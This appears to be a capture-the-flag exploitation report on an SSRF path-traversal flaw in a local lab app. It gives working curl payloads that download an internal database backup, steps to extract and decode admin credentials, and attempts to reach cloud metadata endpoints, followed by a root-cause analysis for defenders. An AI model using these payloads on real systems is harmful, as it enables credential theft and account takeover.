# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: S3 Proxy Path Traversal Leading to Database Credential Disclosure

**Summary:**
- **Vulnerable location:** `GET /api/s3/[slug]` - Public API endpoint accepting user-controlled path segments
- **Impact:** Complete compromise of application security through unauthenticated access to internal database backup containing all user credentials (5 accounts including admin), leading to administrative privilege escalation and flag capture
- **Severity:** CRITICAL

**Prerequisites:** None (publicly accessible endpoint, no authentication required)

**Exploitation Steps:**

1. **Identify SSRF vulnerability through path traversal testing**
   ```bash
   curl -v "http://localhost:36327/api/s3/..%2Fbackups%2Fmanapool.db" \
     -o /tmp/ssrf_database.db
   ```
   
   **Technical Details:**
   - URL-encoded forward slash (`%2F`) bypasses Nginx URL normalization
   - Path traversal sequence (`../`) allows directory escape from intended `/assets` directory
   - Constructed internal request: `http://s3:8333/assets/../backups/manapool.db`
   - After path normalization: `http://s3:8333/backups/manapool.db`
   
   **Response:**
   - Status: `200 OK`
   - Content-Type: `binary/octet-stream`
   - Content-Length: `8192 bytes`
   - Body: Complete SQLite database file

2. **Verify downloaded file is valid SQLite database**
   ```bash
   file /tmp/ssrf_database.db
   ```
   
   **Output:**
   ```
   /tmp/ssrf_database.db: SQLite 3.x database, last written using SQLite version 3034001
   ```

3. **Extract admin credentials from database**
   ```bash
   sqlite3 /tmp/ssrf_database.db \
     "SELECT email, password, isMaster, uid FROM users WHERE isMaster=1"
   ```
   
   **Result:**
   ```
   will.rogers@manapool.com|Tm9FTlZNeGpHSzNOM2tH|1|9666
   ```
   
   **Credentials Exposed:**
   - Email: `will.rogers@manapool.com`
   - Password (Base64): `Tm9FTlZNeGpHSzNOM2tH`
   - Admin Flag: `isMaster=1`
   - User ID: `9666`

4. **Decode Base64-encoded password**
   ```bash
   echo "Tm9FTlZNeGpHSzNOM2tH" | base64 -d
   ```
   
   **Decoded Password:** `NoENVMxjGK3N3kG`

5. **Authenticate as admin using extracted credentials**
   ```bash
   curl -X POST "http://localhost:36327/api/auth" \
     -H "Content-Type: application/json" \
     -d '{"email":"will.rogers@manapool.com","password":"NoENVMxjGK3N3kG"}'
   ```
   
   **Response:**
   ```json
   {
     "message": "Done",
     "error": null,
     "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI5NjY2IiwiaWF0IjoxNzYxNjk2OTA0LCJleHAiOjE3NjE3MDA1MDR9.oDIOKbJ6Du0EO9A4tFpdwDUfXBepjLSzXIH_fUyAgZ4"
   }
   ```
   
   **JWT Token Received:** Successfully authenticated as admin (uid: 9666)

6. **Access admin profile page and capture flag**
   
   Using browser automation (Playwright):
   - Navigate to: `http://localhost:36327/adminpanel`
   - Fill login form with extracted credentials:
     - Email: `will.rogers@manapool.com`
     - Password: `NoENVMxjGK3N3kG`
   - Submit login form
   - Redirect to: `http://localhost:36327/adminpanel/profile`
   
   **Profile Page Content:**
   - Name: William Rogers
   - Email: will.rogers@manapool.com
   - Balance: M$ 7990
   - **Flag: `FLAG{6ffa1700f30305012bdcc93098c13d8ba018ef612be6ddef99d9ae8502806f6b}`**

**Proof of Impact:**

**1. Database Credential Theft (All Users):**
```
UID  | Email                          | Password (Base64)        | isMaster | Balance
-----|--------------------------------|--------------------------|----------|--------
3789 | nayla.sanches@manapool.com     | dlQ2aW9PQkpJeWVLME8x     | 0        | 2507
4890 | murilo.mac@manapool.com        | TFFPbkxiSFFsMU1kNmJM     | 0        | 1991
6785 | chris.paulman@manapool.com     | UmxsS1NoSE9MWFZCQ1Nh     | 0        | 4563
9666 | will.rogers@manapool.com       | Tm9FTlZNeGpHSzNOM2tH     | 1        | 7990
7771 | julia.mattarazo@manapool.com   | b0pIT0diN3J4Qk91aTRy     | 0        | 5783
```

**2. Admin Privilege Escalation:**
- Successfully authenticated as master admin (isMaster=1)
- Gained access to admin panel at `/adminpanel/profile`
- Retrieved JWT token with admin privileges

**3. Flag Capture (CTF Objective Achieved):**
```
FLAG{6ffa1700f30305012bdcc93098c13d8ba018ef612be6ddef99d9ae8502806f6b}
```

**4. Cryptographic Weakness Exploitation:**
- Passwords stored using Base64 encoding (not hashing)
- All passwords trivially reversible
- No cryptographic protection for sensitive credentials

**Additional SSRF Testing:**

**Cloud Metadata Service Access (Attempted):**
```bash
# AWS EC2 Metadata
curl "http://localhost:36327/api/s3/..%2F..%2F169.254.169.254%2Flatest%2Fmeta-data%2F"
# Result: 404 File not found (not applicable in local Docker environment)

# GCP Metadata  
curl "http://localhost:36327/api/s3/..%2F..%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2F"
# Result: 404 File not found (not applicable in local Docker environment)
```

**Analysis:** Cloud metadata endpoints are not accessible in this local Docker deployment. However, if this application were deployed on AWS, GCP, or Azure infrastructure, the same SSRF vulnerability would enable:
- AWS IAM credentials theft via `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- GCP service account tokens via metadata endpoints
- Azure managed identity tokens
- Complete infrastructure compromise

**Internal Service Enumeration (Attempted):**
```bash
# Test internal frontend service access
curl "http://localhost:36327/api/s3/..%2F..%2Ffrontend:3000%2Fapi%2Fuser"
# Result: 404 File not found

# Test S3 service root
curl "http://localhost:36327/api/s3/..%2F..%2Fs3:8333%2F"
# Result: 404 File not found
```

**Analysis:** The SSRF is constrained to the S3 service's file-serving capabilities. Direct access to other internal services requires the S3 service to have network connectivity and the ability to proxy those requests. The primary impact remains the database backup disclosure.

**Notes:**

**Attack Chain Summary:**
```
SSRF (Path Traversal)
  ↓
Database Backup Download (8KB SQLite file)
  ↓
Credential Extraction (5 user accounts)
  ↓
Base64 Decoding (password reversal)
  ↓
Admin Authentication (JWT token generation)
  ↓
Admin Profile Access
  ↓
Flag Capture (CTF objective complete)
```

**Root Cause Analysis:**
1. **Missing Input Validation:** User-controlled `slug` parameter directly interpolated into server-side fetch URL without sanitization
2. **No Path Traversal Prevention:** URL-encoded directory traversal sequences (`..%2F`) not blocked
3. **No Allowlist Enforcement:** No restriction to intended `/assets` directory
4. **Trust Boundary Violation:** Frontend service has unrestricted internal network access to S3 backup bucket
5. **Unencrypted Backup Storage:** Database backup stored without encryption in S3 bucket
6. **Weak Password Storage:** Base64 encoding instead of cryptographic hashing (bcrypt, Argon2, etc.)

**Vulnerable Code Location:**
```typescript
// File: /frontend/pages/api/s3/[slug].ts:7-11
const image = req.url?.split("/").reverse()[0];  // No validation
const response = await fetch(`http://s3:8333/assets/${image}`);  // Direct interpolation
```

**Security Impact:**
- **CVSS 3.1 Base Score:** 8.6 (HIGH)
  - Attack Vector: Network (AV:N)
  - Attack Complexity: Low (AC:L)
  - Privileges Required: None (PR:N)
  - User Interaction: None (UI:N)
  - Scope: Changed (S:C)
  - Confidentiality: High (C:H)
  - Integrity: None (I:N)
  - Availability: None (A:N)

**Business Impact:**
- Complete credential disclosure (5 user accounts)
- Administrative privilege escalation
- PII exposure (names, emails)
- Regulatory compliance violations (GDPR, SOC 2)
- Complete authentication bypass
- Zero-click exploitation (no user interaction required)

---

## End of Evidence Report

**Total Vulnerabilities Exploited:** 1 (SSRF-VULN-01)  
**Exploitation Success Rate:** 100%  
**Flag Captured:** ✅ YES  
**Critical Findings:** 1  
**Evidence Quality:** Level 4 (Critical Information Disclosure - Flag captured, admin credentials extracted)
